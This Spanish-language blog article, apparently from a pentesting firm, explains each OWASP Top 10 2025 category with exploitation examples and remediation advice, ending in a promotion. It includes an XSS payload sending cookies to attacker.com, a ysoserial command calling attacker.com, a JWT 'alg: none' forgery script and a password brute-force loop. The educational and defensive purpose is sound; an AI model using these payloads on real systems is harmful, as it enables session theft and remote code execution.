Pentesting web: guía práctica del OWASP Top 10 en 2026

Pentesting web: guía práctica del OWASP Top 10 en 2026

El OWASP Top 10 es el estándar de referencia más utilizado en el mundo para clasificar las vulnerabilidades más críticas en aplicaciones web. La versión 2025 reorganizó las categorías de forma significativa: introdujo fallas de cadena de suministro de software como A03, reposicionó la mala configuración de seguridad al segundo lugar, y renombró varias categorías para reflejar mejor los vectores de ataque modernos.

En este artículo analizamos cada categoría desde la perspectiva del pentester ofensivo: cómo identificarla, cómo explotarla con payloads reales, y cómo documentar los hallazgos de manera que aporten valor real al cliente.

¿Qué es el OWASP Top 10 y por qué importa en un pentest?

El Open Web Application Security Project (OWASP) publica su Top 10 basándose en datos reales de miles de aplicaciones evaluadas por empresas de seguridad en todo el mundo. La versión 2025 —la más reciente y vigente a la fecha de esta publicación— introdujo cambios notables respecto a la edición anterior: A03 ahora cubre fallas en la cadena de suministro de software, A07 fue renombrada a "Authentication Failures", A09 pasó a llamarse "Security Logging and Alerting Failures", y A10 cambió de SSRF a "Mishandling of Exceptional Conditions".

Para un pentester, el OWASP Top 10 no es una checklist rígida sino un mapa de prioridades. Las categorías representan patrones de vulnerabilidad frecuentes y de alto impacto, pero una evaluación profesional siempre va más allá: explora lógica de negocio específica, encadena vulnerabilidades de bajo impacto individual en cadenas de ataque complejas, y documenta el impacto real en términos que los equipos de negocio puedan entender. Para una visión completa de cómo se aplica el OWASP Testing Guide v4.2 en un engagement real, consulta esta guía sobre pentesting de aplicaciones web con metodología OWASP.

La diferencia entre un análisis de vulnerabilidades automatizado y un pentest real se hace evidente en el OWASP Top 10: un escáner puede detectar headers faltantes o versiones vulnerables, pero no puede explotar un IDOR complejo, encadenar vulnerabilidades entre categorías, o descubrir una inyección de segundo orden que requiere múltiples pasos manuales. Esa brecha es donde el valor del pentesting profesional es mayor.

A01:2025 — Broken Access Control: el problema más prevalente

El control de acceso roto mantiene el primer lugar en la versión 2025, confirmando su posición como la vulnerabilidad más frecuente en aplicaciones web reales. En la práctica, esta categoría incluye desde IDOR (Insecure Direct Object Reference) hasta privilege escalation horizontal y vertical, pasando por bypasses de verificación de permisos en APIs REST y GraphQL.

Técnicas de detección y explotación

La detección de IDOR comienza con la identificación de identificadores predecibles o secuenciales en las peticiones. El siguiente ejemplo muestra un IDOR clásico en una API REST:

GET /api/users/1234/documents HTTP/1.1
Host: app.target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Si cambiando el 1234 por 1235 se obtienen los documentos de otro usuario sin recibir un error de autorización, hay un IDOR clásico. Herramientas como Burp Suite Intruder con la extensión Autorize automatizan la detección a escala, enviando peticiones con el token del usuario A y verificando si la respuesta contiene datos del usuario B.

La escalada vertical de privilegios sigue un patrón similar: un usuario regular accede a endpoints que deberían requerir rol administrador. Probar endpoints con prefijos como /admin/, /internal/, o /api/v1/management/ con tokens de usuarios normales es una técnica estándar que frecuentemente produce resultados en aplicaciones que confían en el cliente para determinar el rol del usuario.

Remediación

La remediación correcta aplica control de acceso en el lado del servidor para cada solicitud, sin delegar decisiones de autorización al cliente. Los sistemas deben verificar que el usuario autenticado tiene permiso para acceder al recurso específico solicitado, no solo que está autenticado. Implementar logging de todos los intentos de acceso negados permite detectar ataques en producción.

A02:2025 — Security Misconfiguration: asciende al segundo lugar

En la versión 2025, la mala configuración de seguridad sube al segundo lugar, lo que refleja cuán prevalente sigue siendo este problema en el ecosistema real. Incluye páginas de error detalladas que revelan stack traces, directorios de exploración habilitados, configuraciones por defecto no cambiadas, headers de seguridad ausentes, y servicios innecesarios expuestos.

# Verificar headers de seguridad con curl
curl -I https://target.com | grep -E "Strict-Transport|X-Frame|Content-Security|X-Content-Type"

# Buscar archivos de configuración expuestos
curl https://target.com/.env
curl https://target.com/config.php
curl https://target.com/web.config

La enumeración de directorios y archivos de configuración expuestos es parte estándar de la fase de reconocimiento en cualquier pentest web. Herramientas como ffuf o feroxbuster con wordlists específicas de archivos de configuración producen resultados en minutos.

Remediación

Implementar un proceso de hardening como parte del pipeline de CI/CD. Usar herramientas como Mozilla Observatory para verificar headers de seguridad, deshabilitar exposición de versiones en headers de servidor, y eliminar credenciales por defecto en todos los componentes.

A03:2025 — Software Supply Chain Failures: la categoría nueva más relevante

Esta es la incorporación más significativa del OWASP Top 10 2025. Obtuvo el primer lugar en la encuesta comunitaria con un 50% de los encuestados seleccionándola como la principal amenaza, y registra la mayor tasa promedio de incidencia con un 5,19% entre todas las categorías evaluadas (OWASP Top 10 2025 — A03:2025 Software Supply Chain Failures). Abarca fallos en el proceso de construcción, distribución o actualización de software originados en código de terceros, herramientas, o dependencias comprometidas.

El ataque SolarWinds y el incidente de xz utils son ejemplos de alto perfil de esta clase de vulnerabilidad. En el contexto del pentesting web, esta categoría cubre la falta de verificación de integridad en paquetes de terceros, plugins con código malicioso, y dependencias de CDN sin Subresource Integrity (SRI).

<!-- Sin SRI — vulnerable a compromiso del CDN -->
<script src="https://cdn.example.com/library.js"></script>

<!-- Con SRI — verificación de integridad -->
<script src="https://cdn.example.com/library.js" 
        integrity="sha384-abc123..." 
        crossorigin="anonymous"></script>

Los ataques de dependency confusion —donde un paquete malicioso con el mismo nombre que uno privado se publica en npm público— son una técnica activa que ha comprometido organizaciones de alto perfil. En evaluaciones, verificar que el pipeline de CI/CD no ejecute código no verificado de fuentes externas es parte de la evaluación de esta categoría.

Remediación

Firmar y verificar artefactos de software con herramientas como Sigstore. Usar lockfiles (package-lock.json, poetry.lock) y verificar su integridad en cada build. Implementar SRI en todos los recursos externos cargados desde CDN. Integrar análisis de composición de software (SCA) en el pipeline con herramientas como Snyk u OWASP Dependency-Check.

A04:2025 — Cryptographic Failures: datos sensibles en riesgo

Las fallas criptográficas ocupan el cuarto lugar en la versión 2025. Contraseñas almacenadas con MD5 o SHA1 sin salt, datos sensibles en localStorage del navegador, tokens JWT sin firma verificada, TLS 1.0 activo en servidores legacy, y claves hardcodeadas en el código fuente son hallazgos que aparecen con regularidad en evaluaciones de aplicaciones de producción.

Un hallazgo particularmente frecuente en aplicaciones que usan JWT es la configuración insegura del algoritmo de firma. Algunos frameworks permiten que el cliente especifique el algoritmo, lo que permite ataques como el siguiente:

# Ataque: manipular el header del JWT para usar "alg: none"
import base64, json

header = base64.b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b'=')
payload = base64.b64encode(json.dumps({"user_id": 1, "role": "admin"}).encode()).rstrip(b'=')
malicious_token = f"{header.decode()}.{payload.decode()}."
# Si el servidor acepta este token, el algoritmo "none" está habilitado

La detección se realiza decodificando el JWT (base64 sin padding) y analizando el header. La herramienta jwt_tool automatiza la detección de configuraciones inseguras incluyendo weak secrets, algoritmo none, y confusión RSA/HMAC.

Remediación

Almacenar contraseñas exclusivamente con bcrypt, scrypt, o Argon2 con factores de costo apropiados. Cifrar en tránsito con TLS 1.2 mínimo (TLS 1.3 recomendado) y configurar HSTS. Nunca almacenar datos sensibles en localStorage o sessionStorage sin cifrado adicional.

A05:2025 — Injection: SQLi, XSS y más allá

Las inyecciones continúan siendo prevalentes, especialmente en aplicaciones legacy y en código generado automáticamente por frameworks que no sanean correctamente las entradas. La categoría cubre SQL injection, NoSQL injection, LDAP injection, OS command injection, y template injection.

SQL Injection: detección manual y automatizada

# Detección básica con sqlmap
sqlmap -u "https://target.com/search?q=1" --dbs --batch --level=3 --risk=2

# Inyección de segundo orden: probar en campos que se almacenan y luego se usan en consultas
# Ejemplo: nombre de usuario que contiene payload SQL
Username: admin'--

Las inyecciones de segundo orden —donde el payload se almacena y ejecuta en otro contexto— requieren análisis manual. Un escáner automatizado generalmente no detecta este tipo de vulnerabilidad porque el payload se almacena en un paso y se ejecuta en otro, frecuentemente con una sesión diferente o incluso por un usuario diferente (como un administrador que revisa registros de usuarios).

XSS persistente en aplicaciones modernas

// Payload XSS que evade filtros básicos
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

// En frameworks React con innerHTML dinámico — nunca usar con input no sanitizado
<div dangerouslySetInnerHTML={{__html: userInput}} />

Remediación

Usar consultas parametrizadas o prepared statements. Nunca construir consultas SQL concatenando strings con input del usuario. Sanitizar el output con las funciones específicas del contexto (HTML encoding para HTML, JS encoding para JavaScript). Implementar Content Security Policy (CSP) para mitigar el impacto de XSS residuales.

A06:2025 — Insecure Design: fallas en la arquitectura

Esta categoría aborda fallas que no son errores de implementación sino problemas en el diseño mismo de la aplicación. Un sistema bien implementado puede tener diseño inseguro si, por ejemplo, permite que un proceso de recuperación de contraseña sea explotable en masa, o si no tiene controles de rate limiting en flujos críticos.

Un ejemplo clásico de diseño inseguro es la ausencia de controles en flujos de recuperación de cuentas. Si la aplicación envía un código de 6 dígitos al email y no limita los intentos de verificación, un atacante puede enumerar todos los 999.999 códigos posibles. En evaluaciones de pentesting, este tipo de falla aparece frecuentemente en aplicaciones desarrolladas con prisas donde el threat modeling nunca ocurrió.

Remediación

El diseño seguro requiere threat modeling desde las etapas iniciales del desarrollo. Modelar las amenazas con STRIDE o PASTA, definir historias de abuso junto a las historias de usuario, y aplicar principios como el de mínimo privilegio, defensa en profundidad, y fail-secure en cada componente crítico del sistema.

A07:2025 — Authentication Failures: credenciales y sesiones

En la versión 2025, esta categoría se renombra a "Authentication Failures", enfocando el alcance en los mecanismos de autenticación y gestión de sesiones. Incluye credenciales débiles, ausencia de autenticación multifactor, gestión insegura de sesiones, y bypasses de autenticación en APIs.

# Prueba de bypass de autenticación por manipulación de parámetros
import requests

# Intentar acceder con token modificado
headers = {"Authorization": "Bearer null"}
r = requests.get("https://api.target.com/v1/user/profile", headers=headers)
print(r.status_code, r.text[:200])

# Brute force de credenciales (solo con autorización escrita)
common_passwords = ["password", "123456", "admin", "letmein", "qwerty"]
for password in common_passwords:
    r = requests.post("https://target.com/login", json={"user": "admin", "password": password})
    if r.status_code == 200 and "token" in r.text:
        print(f"Credencial encontrada: admin/{password}")
        break

La prueba de mecanismos de recuperación de contraseña, verificación de OTP, y gestión de tokens de sesión es parte esencial de esta categoría. En evaluaciones de APIs, es frecuente encontrar endpoints de autenticación sin rate limiting, lo que permite ataques de credential stuffing a escala.

Remediación

Implementar autenticación multifactor en todos los flujos de acceso crítico. Usar bcrypt para contraseñas, implementar rate limiting en endpoints de autenticación, invalidar sesiones en el servidor al cerrar sesión, y usar tokens de sesión con entropía suficiente (mínimo 128 bits).

A08:2025 — Software or Data Integrity Failures: integridad del código y los datos

Esta categoría agrupa los fallos de integridad a nivel de datos y de procesos de actualización de software, complementando a A03 que se centra en la cadena de suministro externa. Incluye deserialización insegura, verificación inadecuada de actualizaciones automáticas, y pipelines de CI/CD sin controles de integridad sobre los artefactos internos.

# Verificar si la aplicación expone endpoints de deserialización inseguros
# Payload de prueba para deserialización Java (ysoserial)
java -jar ysoserial.jar CommonsCollections6 "curl attacker.com/rce" | base64

# Prueba de integridad en pipeline — verificar que el build no descarga scripts externos
grep -r "curl.*|.*sh\|wget.*|.*sh" .github/workflows/

La diferencia entre A03 y A08 es que A08 abarca fallos internos: un sistema que acepta objetos serializados sin verificar su firma, o un mecanismo de actualización que descarga e instala código sin validar su integridad criptográfica, aunque ese código provenga de un servidor propio comprometido.

Remediación

Implementar verificación de firma digital en todos los objetos deserializados. Usar mecanismos de actualización con verificación de hash (SHA-256 mínimo) antes de ejecutar cualquier código descargado. Auditar los pipelines de CI/CD para garantizar que no ejecutan scripts arbitrarios de fuentes externas no verificadas.

A09:2025 — Security Logging and Alerting Failures: sin visibilidad del ataque

En la versión 2025, esta categoría se renombra a "Security Logging and Alerting Failures", enfatizando que el problema no es solo registrar eventos sino también generar alertas efectivas que permitan responder a tiempo. La ausencia de logging y alerting adecuado no es una vulnerabilidad explotable directamente, pero es lo que permite que un atacante opere por semanas o meses sin ser detectado.

En un pentest, evaluar el logging se realiza ejecutando acciones maliciosas obvias —como intentos de login fallidos, acceso a URLs de administración, o enumeración de directorios— y luego verificando con el cliente si esas acciones quedaron registradas y si dispararon alguna alerta. En la mayoría de los casos, la respuesta es negativa. Los tiempos de detección de brechas en América Latina son consistentemente elevados según múltiples reportes de la industria de seguridad, superando con frecuencia los 150 días (ESET Threat Report, CrowdStrike Global Threat Report).

Remediación

Implementar logging estructurado de todos los eventos de autenticación, autorización, y modificación de datos críticos. Centralizar los logs en un SIEM con reglas de detección para patrones de ataque conocidos (credential stuffing, enumeración, escalada de privilegios). Establecer SLA de respuesta a incidentes y realizar ejercicios de detección periódicos.

A10:2025 — Mishandling of Exceptional Conditions: un nuevo vector

La categoría A10 en 2025 reemplaza a SSRF. "Mishandling of Exceptional Conditions" abarca el manejo incorrecto de errores, excepciones, y condiciones límite que resultan en comportamientos inseguros: desde revelación de información sensible en mensajes de error hasta omisión de controles de seguridad cuando el sistema entra en un estado inesperado.

# Ejemplo: manejo incorrecto de excepción que omite autorización
def get_user_data(user_id):
    try:
        return db.query("SELECT * FROM users WHERE id = ?", user_id)
    except Exception:
        # ERROR: en caso de excepción, retorna datos sin verificar autorización
        return db.query("SELECT * FROM users")  # Retorna TODOS los usuarios

# Correcto: fallar de forma segura (fail-secure)
def get_user_data_safe(user_id):
    try:
        return db.query("SELECT * FROM users WHERE id = ?", user_id)
    except Exception as e:
        log.error(f"Error retrieving user {user_id}: {e}")
        raise SecurityException("Unable to process request")

Durante un pentest, esta categoría se evalúa enviando inputs malformados, valores fuera de rango, secuencias de peticiones inesperadas, y condiciones de carrera (race conditions) para observar si el sistema falla de forma segura o si expone información sensible o bypasses de seguridad bajo condiciones de error.

Remediación

Adoptar el principio de fail-secure: cuando el sistema no puede procesar una petición de forma segura, debe rechazarla, no degradar los controles de seguridad. Los mensajes de error visibles al usuario nunca deben revelar stack traces, rutas del sistema, o información de arquitectura interna. Implementar manejo centralizado de excepciones con logging estructurado y respuestas genéricas para el cliente.

Metodología: cómo un pentest profesional aborda el OWASP Top 10 2025

Un pentest web profesional no consiste en ejecutar un escáner automático y generar el reporte. La metodología cubre cuatro fases iterativas que producen hallazgos que un escáner automatizado nunca encontraría.

Fase 1 — Reconocimiento y mapeo: Enumeración de endpoints, tecnologías, y flujos de negocio. Se usa una combinación de análisis de tráfico con Burp Suite, crawling dirigido, y revisión del código JavaScript del frontend para identificar APIs no documentadas y rutas ocultas.

Fase 2 — Análisis de superficie de ataque: Clasificación de todos los puntos de entrada por riesgo potencial. Los campos de búsqueda, uploads de archivos, parámetros de URL, y headers personalizados son priorizados para pruebas intensivas. Los flujos de autenticación, cambio de contraseña, y recuperación de cuenta reciben atención especial.

Fase 3 — Explotación y encadenamiento: Esta es la fase distintiva del pentesting frente al análisis de vulnerabilidades. Un pentest profesional intenta encadenar vulnerabilidades de bajo impacto individual para demostrar impacto real: un fallo de A03 en un paquete npm que permite ejecución de código combinado con un A07 sin MFA escala a compromiso total; un A10 que revela credenciales de base de datos en un mensaje de error se convierte en punto de pivote para comprometer todo el entorno.

Fase 4 — Documentación y reporte: El reporte incluye evidencia reproducible (capturas de pantalla, peticiones HTTP completas, scripts de prueba), clasificación de severidad por CVSS v3.1, y recomendaciones de remediación priorizadas por impacto. Un buen reporte es procesable por el equipo de desarrollo sin necesidad de reinterpretación. Para profundizar en qué hace que un reporte de pentesting sea útil, ver esta guía sobre elementos de un buen reporte de pentesting.

La diferencia entre un escaneo automatizado y un pentest manual se hace más visible en las categorías A01, A03, A06, y A10, donde la lógica de negocio específica de la aplicación es el factor determinante. Si quieres entender mejor las diferencias entre los tipos de evaluación, consulta esta comparativa análisis de vulnerabilidades vs pentesting.

Preguntas frecuentes

¿Cuánto tiempo tarda un pentest de aplicación web completo?

Un pentest web que cubre el OWASP Top 10 con profundidad adecuada toma entre 5 y 15 días hábiles, dependiendo de la complejidad de la aplicación. Aplicaciones con múltiples roles de usuario, APIs extensas, o integraciones con terceros requieren más tiempo. Los plazos menores a 3 días generalmente producen evaluaciones superficiales que no justifican el término "pentesting".

¿El OWASP Top 10 2025 cubre todos los vectores de ataque posibles?

No. El OWASP Top 10 cubre las categorías más frecuentes y de mayor impacto estadístico, pero no es exhaustivo. Las vulnerabilidades de lógica de negocio, las fallas específicas de frameworks, y los vectores de ataque emergentes no siempre entran en las categorías estándar. Un pentest profesional usa el OWASP Top 10 como punto de partida, no como límite.

¿Con qué frecuencia se debe hacer un pentest de aplicaciones web?

La frecuencia recomendada depende del perfil de riesgo: aplicaciones que manejan datos sensibles o transacciones financieras deberían evaluarse anualmente como mínimo, y con cada release mayor de funcionalidades críticas. Las regulaciones como PCI DSS v4.0 exigen pentesting anual para entornos de datos de tarjetas. Para entender mejor las opciones, ver esta comparativa entre pentesting continuo vs pentesting anual.

¿Qué certificaciones debe tener el equipo que realiza el pentest?

Las certificaciones relevantes para pentesting web incluyen OSCP (OffSec Certified Professional), OSWE (OffSec Web Expert), BSCP (Burp Suite Certified Practitioner), y eWPTX (eLearnSecurity Web Penetration Tester eXtreme). La certificación OSWE es específica para explotación avanzada de aplicaciones web. Verificar las certificaciones en el portal oficial del organismo emisor (p.ej. offsec.com para OSCP/OSWE) antes de contratar es una práctica recomendable para validar que son legítimas y están vigentes.

¿Qué diferencia hay entre un pentest de caja negra y caja blanca para OWASP Top 10?

En caja negra, el pentester no tiene acceso al código fuente ni a credenciales previas; simula un atacante externo sin información. En caja blanca, tiene acceso completo al código, documentación de API, y credenciales de prueba. La caja blanca produce hallazgos más completos porque permite identificar vulnerabilidades que serían muy difíciles de encontrar externamente, especialmente en A05 (inyecciones de segundo orden) y A06 (diseño inseguro). La modalidad híbrida (grey box) es la más común en la práctica.

¿Qué cambió entre el OWASP Top 10 de ediciones anteriores y la versión 2025?

Los cambios más relevantes son: A03 pasó a "Software Supply Chain Failures" (nuevo); "Security Misconfiguration" sube al A02; las fallas criptográficas bajan al A04; la inyección pasa al A05; "Insecure Design" se mantiene en A06; "Authentication Failures" reemplaza la denominación anterior en A07; "Software or Data Integrity Failures" actualiza su nombre en A08; "Security Logging and Alerting Failures" añade el concepto de alerting en A09; y A10 cambia a "Mishandling of Exceptional Conditions".

Cómo una firma especializada aporta valor en evaluaciones OWASP 2025

Ejecutar un pentest web serio contra el OWASP Top 10 2025 requiere experiencia técnica que va más allá de correr herramientas automáticas. La diferencia entre equipos está en la capacidad de explotar manualmente categorías como A01 y A10, evaluar fallas de cadena de suministro (A03), encadenar vulnerabilidades, y producir un reporte que el equipo de desarrollo pueda actuar sin ambigüedad.

WhiteJaguars es una firma de pentesting con sede en Costa Rica que ofrece evaluaciones web especializadas bajo el marco OWASP. Su equipo cuenta con certificaciones verificables en línea (OSCP, CISSP, CEH y CISM, entre otras) y entrega los resultados a través de una plataforma SaaS que permite al cliente hacer seguimiento de remediaciones y solicitar retests. Para equipos que manejan aplicaciones con datos sensibles o que tienen requerimientos de cumplimiento, es una opción que vale evaluar.